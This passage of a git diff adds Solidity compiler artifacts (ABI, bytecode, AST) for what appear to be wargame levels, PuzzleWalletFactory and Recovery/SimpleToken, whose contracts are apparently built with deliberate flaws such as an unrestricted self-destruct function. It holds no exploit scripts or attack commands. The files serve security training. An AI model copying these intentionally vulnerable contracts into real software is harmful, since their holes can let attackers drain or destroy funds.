PuzzleWallet"}},"nodeType":"VariableDeclarationStatement","src":"682:52:102"},{"expression":{"arguments":[{"arguments":[{"id":54669,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"839:4:102","typeDescriptions":{"typeIdentifier":"t_contract$_PuzzleWalletFactory_$54712","typeString":"contract PuzzleWalletFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_PuzzleWalletFactory_$54712","typeString":"contract PuzzleWalletFactory"}],"id":54668,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"831:7:102","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":54667,"name":"address","nodeType":"ElementaryTypeName","src":"831:7:102","typeDescriptions":{}}},"id":54670,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"831:13:102","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":54664,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54656,"src":"807:8:102","typeDescriptions":{"typeIdentifier":"t_contract$_PuzzleWallet_$54597","typeString":"contract PuzzleWallet"}},"id":54666,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"816:14:102","memberName":"addToWhitelist","nodeType":"MemberAccess","referencedDeclaration":54458,"src":"807:23:102","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":54671,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"807:38:102","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":54672,"nodeType":"ExpressionStatement","src":"807:38:102"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"argumentTypes":[],"expression":{"id":54673,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54656,"src":"855:8:102","typeDescriptions":{"typeIdentifier":"t_contract$_PuzzleWallet_$54597","typeString":"contract PuzzleWallet"}},"id":54675,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"864:7:102","memberName":"deposit","nodeType":"MemberAccess","referencedDeclaration":54483,"src":"855:16:102","typeDescriptions":{"typeIdentifier":"t_function_external_payable$__$returns$__$","typeString":"function () payable external"}},"id":54678,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"names":["value"],"nodeType":"FunctionCallOptions","options":[{"expression":{"id":54676,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"879:3:102","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":54677,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"883:5:102","memberName":"value","nodeType":"MemberAccess","src":"879:9:102","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"src":"855:34:102","typeDescriptions":{"typeIdentifier":"t_function_external_payable$__$returns$__$value","typeString":"function () payable external"}},"id":54679,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"855:36:102","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":54680,"nodeType":"ExpressionStatement","src":"855:36:102"},{"expression":{"arguments":[{"id":54683,"name":"proxy","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54639,"src":"917:5:102","typeDescriptions":{"typeIdentifier":"t_contract$_PuzzleProxy_$54369","typeString":"contract PuzzleProxy"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_PuzzleProxy_$54369","typeString":"contract PuzzleProxy"}],"id":54682,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"909:7:102","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":54681,"name":"address","nodeType":"ElementaryTypeName","src":"909:7:102","typeDescriptions":{}}},"id":54684,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"909:14:102","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"functionReturnParameters":54610,"id":54685,"nodeType":"Return","src":"902:21:102"}]},"baseFunctions":[55498],"functionSelector":"7726f776","implemented":true,"kind":"function","modifiers":[],"name":"createInstance","nameLocation":"168:14:102","overrides":{"id":54607,"nodeType":"OverrideSpecifier","overrides":[],"src":"220:8:102"},"parameters":{"id":54606,"nodeType":"ParameterList","parameters":[{"constant":false,"id":54605,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":54687,"src":"183:7:102","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":54604,"name":"address","nodeType":"ElementaryTypeName","src":"183:7:102","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"182:22:102"},"returnParameters":{"id":54610,"nodeType":"ParameterList","parameters":[{"constant":false,"id":54609,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":54687,"src":"238:7:102","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":54608,"name":"address","nodeType":"ElementaryTypeName","src":"238:7:102","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"237:9:102"},"scope":54712,"stateMutability":"payable","virtual":false,"visibility":"public"},{"id":54711,"nodeType":"FunctionDefinition","src":"936:207:102","nodes":[],"body":{"id":54710,"nodeType":"Block","src":"1042:101:102","nodes":[],"statements":[{"assignments":[54699],"declarations":[{"constant":false,"id":54699,"mutability":"mutable","name":"proxy","nameLocation":"1064:5:102","nodeType":"VariableDeclaration","scope":54710,"src":"1052:17:102","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_PuzzleProxy_$54369","typeString":"contract PuzzleProxy"},"typeName":{"id":54698,"nodeType":"UserDefinedTypeName","pathNode":{"id":54697,"name":"PuzzleProxy","nameLocations":["1052:11:102"],"nodeType":"IdentifierPath","referencedDeclaration":54369,"src":"1052:11:102"},"referencedDeclaration":54369,"src":"1052:11:102","typeDescriptions":{"typeIdentifier":"t_contract$_PuzzleProxy_$54369","typeString":"contract PuzzleProxy"}},"visibility":"internal"}],"id":54703,"initialValue":{"arguments":[{"id":54701,"name":"_instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54689,"src":"1084:9:102","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":54700,"name":"PuzzleProxy","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54369,"src":"1072:11:102","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_PuzzleProxy_$54369_$","typeString":"type(contract PuzzleProxy)"}},"id":54702,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1072:22:102","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_PuzzleProxy_$54369","typeString":"contract PuzzleProxy"}},"nodeType":"VariableDeclarationStatement","src":"1052:42:102"},{"expression":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":54708,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":54704,"name":"proxy","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54699,"src":"1112:5:102","typeDescriptions":{"typeIdentifier":"t_contract$_PuzzleProxy_$54369","typeString":"contract PuzzleProxy"}},"id":54705,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1118:5:102","memberName":"admin","nodeType":"MemberAccess","referencedDeclaration":54297,"src":"1112:11:102","typeDescriptions":{"typeIdentifier":"t_function_external_view$__$returns$_t_address_$","typeString":"function () view external returns (address)"}},"id":54706,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1112:13:102","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"id":54707,"name":"_player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54691,"src":"1129:7:102","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"1112:24:102","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"functionReturnParameters":54696,"id":54709,"nodeType":"Return","src":"1105:31:102"}]},"baseFunctions":[55507],"functionSelector":"d38def5b","implemented":true,"kind":"function","modifiers":[],"name":"validateInstance","nameLocation":"945:16:102","overrides":{"id":54693,"nodeType":"OverrideSpecifier","overrides":[],"src":"1018:8:102"},"parameters":{"id":54692,"nodeType":"ParameterList","parameters":[{"constant":false,"id":54689,"mutability":"mutable","name":"_instance","nameLocation":"978:9:102","nodeType":"VariableDeclaration","scope":54711,"src":"962:25:102","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":54688,"name":"address","nodeType":"ElementaryTypeName","src":"962:15:102","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"constant":false,"id":54691,"mutability":"mutable","name":"_player","nameLocation":"997:7:102","nodeType":"VariableDeclaration","scope":54711,"src":"989:15:102","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":54690,"name":"address","nodeType":"ElementaryTypeName","src":"989:7:102","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"961:44:102"},"returnParameters":{"id":54696,"nodeType":"ParameterList","parameters":[{"constant":false,"id":54695,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":54711,"src":"1036:4:102","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":54694,"name":"bool","nodeType":"ElementaryTypeName","src":"1036:4:102","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"1035:6:102"},"scope":54712,"stateMutability":"view","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":54602,"name":"Level","nameLocations":["147:5:102"],"nodeType":"IdentifierPath","referencedDeclaration":55508,"src":"147:5:102"},"id":54603,"nodeType":"InheritanceSpecifier","src":"147:5:102"}],"canonicalName":"PuzzleWalletFactory","contractDependencies":[54369,54597],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[54712,55508,46700,48281],"name":"PuzzleWalletFactory","nameLocation":"124:19:102","scope":54713,"usedErrors":[],"usedEvents":[46601]}],"license":"MIT"},"id":102} \ No newline at end of file diff --git a/contracts/out/Recovery.sol/Recovery.json b/contracts/out/Recovery.sol/Recovery.json new file mode 100644 index 000000000..3ba67fdc1 --- /dev/null +++ b/contracts/out/Recovery.sol/Recovery.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"generateToken","inputs":[{"name":"_name","type":"string","internalType":"string"},{"name":"_initialSupply","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"}],"bytecode":{"object":"0x608060405234801561000f575f80fd5b506108418061001d5f395ff3fe608060405234801561000f575f80fd5b5060043610610029575f3560e01c80633894e5161461002d575b5f80fd5b61004061003b3660046100b6565b610042565b005b8133826040516100519061007c565b61005d93929190610165565b604051809103905ff080158015610076573d5f803e3d5ffd5b50505050565b610637806101d583390190565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f80604083850312156100c7575f80fd5b823567ffffffffffffffff808211156100de575f80fd5b818501915085601f8301126100f1575f80fd5b81358181111561010357610103610089565b604051601f8201601f19908116603f0116810190838211818310171561012b5761012b610089565b81604052828152886020848701011115610143575f80fd5b826020860160208301375f602093820184015298969091013596505050505050565b606081525f84518060608401525f5b818110156101915760208188018101516080868401015201610174565b505f608082850101526080601f19601f83011684010191505073ffffffffffffffffffffffffffffffffffffffff8416602083015282604083015294935050505056fe608060405234801561000f575f80fd5b5060405161063738038061063783398101604081905261002e91610088565b5f61003984826101e7565b506001600160a01b039091165f90815260016020526040902055506102a6565b634e487b7160e01b5f52604160045260245ffd5b80516001600160a01b0381168114610083575f80fd5b919050565b5f805f6060848603121561009a575f80fd5b83516001600160401b03808211156100b0575f80fd5b818601915086601f8301126100c3575f80fd5b8151818111156100d5576100d5610059565b604051601f8201601f19908116603f011681019083821181831017156100fd576100fd610059565b81604052828152602093508984848701011115610118575f80fd5b5f91505b82821015610139578482018401518183018501529083019061011c565b5f84848301015280975050505061015181870161006d565b93505050604084015190509250925092565b600181811c9082168061017757607f821691505b60208210810361019557634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156101e257805f5260205f20601f840160051c810160208510156101c05750805b601f840160051c820191505b818110156101df575f81556001016101cc565b50505b505050565b81516001600160401b0381111561020057610200610059565b6102148161020e8454610163565b8461019b565b602080601f831160018114610247575f84156102305750858301515b5f19600386901b1c1916600185901b17855561029e565b5f85815260208120601f198616915b8281101561027557888601518255948401946001909101908401610256565b508582101561029257878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b610384806102b35f395ff3fe608060405260043610610040575f3560e01c8062f55d9d1461006757806306fdde031461008857806327e235e3146100b2578063a9059cbb146100eb575f80fd5b366100635761005034600a61022a565b335f908152600160205260409020819055005b5f80fd5b348015610072575f80fd5b5061008661008136600461026b565b61010a565b005b348015610093575f80fd5b5061009c610123565b6040516100a9919061028d565b60405180910390f35b3480156100bd575f80fd5b506100dd6100cc36600461026b565b60016020525f908152604090205481565b6040519081526020016100a9565b3480156100f6575f80fd5b506100866101053660046102d9565b6101ae565b8073ffffffffffffffffffffffffffffffffffffffff16ff5b5f805461012f90610303565b80601f016020809104026020016040519081016040528092919081815260200182805461015b90610303565b80156101a65780601f1061017d576101008083540402835291602001916101a6565b820191905f5260205f20905b81548152906001019060200180831161018957829003601f168201915b505050505081565b335f908152600160205260409020548111156101c8575f80fd5b335f908152600160205260409020546101e290829061033b565b335f908152600160205260408082209290925573ffffffffffffffffffffffffffffffffffffffff93909316835290912055565b634e487b7160e01b5f52601160045260245ffd5b808202811582820484141761024157610241610216565b92915050565b73ffffffffffffffffffffffffffffffffffffffff81168114610268575f80fd5b50565b5f6020828403121561027b575f80fd5b813561028681610247565b9392505050565b5f602080835283518060208501525f5b818110156102b95785810183015185820160400152820161029d565b505f604082860101526040601f19601f8301168501019250505092915050565b5f80604083850312156102ea575f80fd5b82356102f581610247565b946020939093013593505050565b600181811c9082168061031757607f821691505b60208210810361033557634e487b7160e01b5f52602260045260245ffd5b50919050565b818103818111156102415761024161021656fea2646970667358221220e0bf938b4119a269e2f8df98188146ebd3abe7e9481be62f329c5c511f9c757d64736f6c63430008180033a264697066735822122047a2933d7f1f0a4703ae01a34a9f549f16b14b7790054fb759e7eb24c6473b6b64736f6c63430008180033","sourceMap":"57:190:103:-:0;;;;;;;;;;;;;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405234801561000f575f80fd5b5060043610610029575f3560e01c80633894e5161461002d575b5f80fd5b61004061003b3660046100b6565b610042565b005b8133826040516100519061007c565b61005d93929190610165565b604051809103905ff080158015610076573d5f803e3d5ffd5b50505050565b610637806101d583390190565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f80604083850312156100c7575f80fd5b823567ffffffffffffffff808211156100de575f80fd5b818501915085601f8301126100f1575f80fd5b81358181111561010357610103610089565b604051601f8201601f19908116603f0116810190838211818310171561012b5761012b610089565b81604052828152886020848701011115610143575f80fd5b826020860160208301375f602093820184015298969091013596505050505050565b606081525f84518060608401525f5b818110156101915760208188018101516080868401015201610174565b505f608082850101526080601f19601f83011684010191505073ffffffffffffffffffffffffffffffffffffffff8416602083015282604083015294935050505056fe608060405234801561000f575f80fd5b5060405161063738038061063783398101604081905261002e91610088565b5f61003984826101e7565b506001600160a01b039091165f90815260016020526040902055506102a6565b634e487b7160e01b5f52604160045260245ffd5b80516001600160a01b0381168114610083575f80fd5b919050565b5f805f6060848603121561009a575f80fd5b83516001600160401b03808211156100b0575f80fd5b818601915086601f8301126100c3575f80fd5b8151818111156100d5576100d5610059565b604051601f8201601f19908116603f011681019083821181831017156100fd576100fd610059565b81604052828152602093508984848701011115610118575f80fd5b5f91505b82821015610139578482018401518183018501529083019061011c565b5f84848301015280975050505061015181870161006d565b93505050604084015190509250925092565b600181811c9082168061017757607f821691505b60208210810361019557634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156101e257805f5260205f20601f840160051c810160208510156101c05750805b601f840160051c820191505b818110156101df575f81556001016101cc565b50505b505050565b81516001600160401b0381111561020057610200610059565b6102148161020e8454610163565b8461019b565b602080601f831160018114610247575f84156102305750858301515b5f19600386901b1c1916600185901b17855561029e565b5f85815260208120601f198616915b8281101561027557888601518255948401946001909101908401610256565b508582101561029257878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b610384806102b35f395ff3fe608060405260043610610040575f3560e01c8062f55d9d1461006757806306fdde031461008857806327e235e3146100b2578063a9059cbb146100eb575f80fd5b366100635761005034600a61022a565b335f908152600160205260409020819055005b5f80fd5b348015610072575f80fd5b5061008661008136600461026b565b61010a565b005b348015610093575f80fd5b5061009c610123565b6040516100a9919061028d565b60405180910390f35b3480156100bd575f80fd5b506100dd6100cc36600461026b565b60016020525f908152604090205481565b6040519081526020016100a9565b3480156100f6575f80fd5b506100866101053660046102d9565b6101ae565b8073ffffffffffffffffffffffffffffffffffffffff16ff5b5f805461012f90610303565b80601f016020809104026020016040519081016040528092919081815260200182805461015b90610303565b80156101a65780601f1061017d576101008083540402835291602001916101a6565b820191905f5260205f20905b81548152906001019060200180831161018957829003601f168201915b505050505081565b335f908152600160205260409020548111156101c8575f80fd5b335f908152600160205260409020546101e290829061033b565b335f908152600160205260408082209290925573ffffffffffffffffffffffffffffffffffffffff93909316835290912055565b634e487b7160e01b5f52601160045260245ffd5b808202811582820484141761024157610241610216565b92915050565b73ffffffffffffffffffffffffffffffffffffffff81168114610268575f80fd5b50565b5f6020828403121561027b575f80fd5b813561028681610247565b9392505050565b5f602080835283518060208501525f5b818110156102b95785810183015185820160400152820161029d565b505f604082860101526040601f19601f8301168501019250505092915050565b5f80604083850312156102ea575f80fd5b82356102f581610247565b946020939093013593505050565b600181811c9082168061031757607f821691505b60208210810361033557634e487b7160e01b5f52602260045260245ffd5b50919050565b818103818111156102415761024161021656fea2646970667358221220e0bf938b4119a269e2f8df98188146ebd3abe7e9481be62f329c5c511f9c757d64736f6c63430008180033a264697066735822122047a2933d7f1f0a4703ae01a34a9f549f16b14b7790054fb759e7eb24c6473b6b64736f6c63430008180033","sourceMap":"57:190:103:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;103:142;;;;;;:::i;:::-;;:::i;:::-;;;204:5;211:10;223:14;188:50;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;103:142;;:::o;-1:-1:-1:-;;;;;;;;:::o;14:184:155:-;66:77;63:1;56:88;163:4;160:1;153:15;187:4;184:1;177:15;203:1000;281:6;289;342:2;330:9;321:7;317:23;313:32;310:52;;;358:1;355;348:12;310:52;398:9;385:23;427:18;468:2;460:6;457:14;454:34;;;484:1;481;474:12;454:34;522:6;511:9;507:22;497:32;;567:7;560:4;556:2;552:13;548:27;538:55;;589:1;586;579:12;538:55;625:2;612:16;647:2;643;640:10;637:36;;;653:18;;:::i;:::-;728:2;722:9;696:2;782:13;;-1:-1:-1;;778:22:155;;;802:2;774:31;770:40;758:53;;;826:18;;;846:22;;;823:46;820:72;;;872:18;;:::i;:::-;912:10;908:2;901:22;947:2;939:6;932:18;989:7;982:4;977:2;973;969:11;965:22;962:35;959:55;;;1010:1;1007;1000:12;959:55;1070:2;1063:4;1059:2;1055:13;1048:4;1040:6;1036:17;1023:50;1117:1;1110:4;1093:15;;;1089:26;;1082:37;1093:15;1176:20;;;;1163:34;;-1:-1:-1;;;;;;203:1000:155:o;1208:727::-;1413:2;1402:9;1395:21;1376:4;1445:6;1439:13;1488:6;1483:2;1472:9;1468:18;1461:34;1513:1;1523:145;1537:6;1534:1;1531:13;1523:145;;;1651:4;1635:14;;;1631:25;;1625:32;1619:3;1600:17;;;1596:27;1589:69;1552:12;1523:145;;;1527:3;1718:1;1712:3;1703:6;1692:9;1688:22;1684:32;1677:43;1788:3;1781:2;1777:7;1772:2;1764:6;1760:15;1756:29;1745:9;1741:45;1737:55;1729:63;;;1842:42;1834:6;1830:55;1823:4;1812:9;1808:20;1801:85;1922:6;1917:2;1906:9;1902:18;1895:34;1208:727;;;;;;:::o","linkReferences":{}},"methodIdentifiers":{"generateToken(string,uint256)":"3894e516"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"string\",\"name\":\"_name\",\"type\":\"string\"},{\"internalType\":\"uint256\",\"name\":\"_initialSupply\",\"type\":\"uint256\"}],\"name\":\"generateToken\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/Recovery.sol\":\"Recovery\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"src/levels/Recovery.sol\":{\"keccak256\":\"0x3c66a08eadebb91b03f62f67db4728f821eba9fc46bbcc4206dda6af75d4ecee\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://db1efcadfb9427c8800766b9f668f5df87963fcf60316937774eceaa4f2cd6ce\",\"dweb:/ipfs/QmdARiDCKNG5dThGnPQEXryESS4jPGFCXJvbAgyZcJr2DQ\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"uint256","name":"_initialSupply","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"generateToken"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/Recovery.sol":"Recovery"},"evmVersion":"shanghai","libraries":{}},"sources":{"src/levels/Recovery.sol":{"keccak256":"0x3c66a08eadebb91b03f62f67db4728f821eba9fc46bbcc4206dda6af75d4ecee","urls":["bzz-raw://db1efcadfb9427c8800766b9f668f5df87963fcf60316937774eceaa4f2cd6ce","dweb:/ipfs/QmdARiDCKNG5dThGnPQEXryESS4jPGFCXJvbAgyZcJr2DQ"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/Recovery.sol","id":54819,"exportedSymbols":{"Recovery":[54732],"SimpleToken":[54818]},"nodeType":"SourceUnit","src":"32:982:103","nodes":[{"id":54714,"nodeType":"PragmaDirective","src":"32:23:103","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":54732,"nodeType":"ContractDefinition","src":"57:190:103","nodes":[{"id":54731,"nodeType":"FunctionDefinition","src":"103:142:103","nodes":[],"body":{"id":54730,"nodeType":"Block","src":"178:67:103","nodes":[],"statements":[{"expression":{"arguments":[{"id":54724,"name":"_name","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54716,"src":"204:5:103","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"expression":{"id":54725,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"211:3:103","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":54726,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"215:6:103","memberName":"sender","nodeType":"MemberAccess","src":"211:10:103","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":54727,"name":"_initialSupply","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54718,"src":"223:14:103","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":54723,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"188:15:103","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$_t_string_memory_ptr_$_t_address_$_t_uint256_$returns$_t_contract$_SimpleToken_$54818_$","typeString":"function (string memory,address,uint256) returns (contract SimpleToken)"},"typeName":{"id":54722,"nodeType":"UserDefinedTypeName","pathNode":{"id":54721,"name":"SimpleToken","nameLocations":["192:11:103"],"nodeType":"IdentifierPath","referencedDeclaration":54818,"src":"192:11:103"},"referencedDeclaration":54818,"src":"192:11:103","typeDescriptions":{"typeIdentifier":"t_contract$_SimpleToken_$54818","typeString":"contract SimpleToken"}}},"id":54728,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"188:50:103","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_SimpleToken_$54818","typeString":"contract SimpleToken"}},"id":54729,"nodeType":"ExpressionStatement","src":"188:50:103"}]},"functionSelector":"3894e516","implemented":true,"kind":"function","modifiers":[],"name":"generateToken","nameLocation":"112:13:103","parameters":{"id":54719,"nodeType":"ParameterList","parameters":[{"constant":false,"id":54716,"mutability":"mutable","name":"_name","nameLocation":"140:5:103","nodeType":"VariableDeclaration","scope":54731,"src":"126:19:103","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":54715,"name":"string","nodeType":"ElementaryTypeName","src":"126:6:103","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":54718,"mutability":"mutable","name":"_initialSupply","nameLocation":"155:14:103","nodeType":"VariableDeclaration","scope":54731,"src":"147:22:103","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":54717,"name":"uint256","nodeType":"ElementaryTypeName","src":"147:7:103","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"125:45:103"},"returnParameters":{"id":54720,"nodeType":"ParameterList","parameters":[],"src":"178:0:103"},"scope":54732,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[],"canonicalName":"Recovery","contractDependencies":[54818],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[54732],"name":"Recovery","nameLocation":"66:8:103","scope":54819,"usedErrors":[],"usedEvents":[]},{"id":54818,"nodeType":"ContractDefinition","src":"249:764:103","nodes":[{"id":54734,"nodeType":"VariableDeclaration","src":"276:18:103","nodes":[],"constant":false,"functionSelector":"06fdde03","mutability":"mutable","name":"name","nameLocation":"290:4:103","scope":54818,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_string_storage","typeString":"string"},"typeName":{"id":54733,"name":"string","nodeType":"ElementaryTypeName","src":"276:6:103","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"public"},{"id":54738,"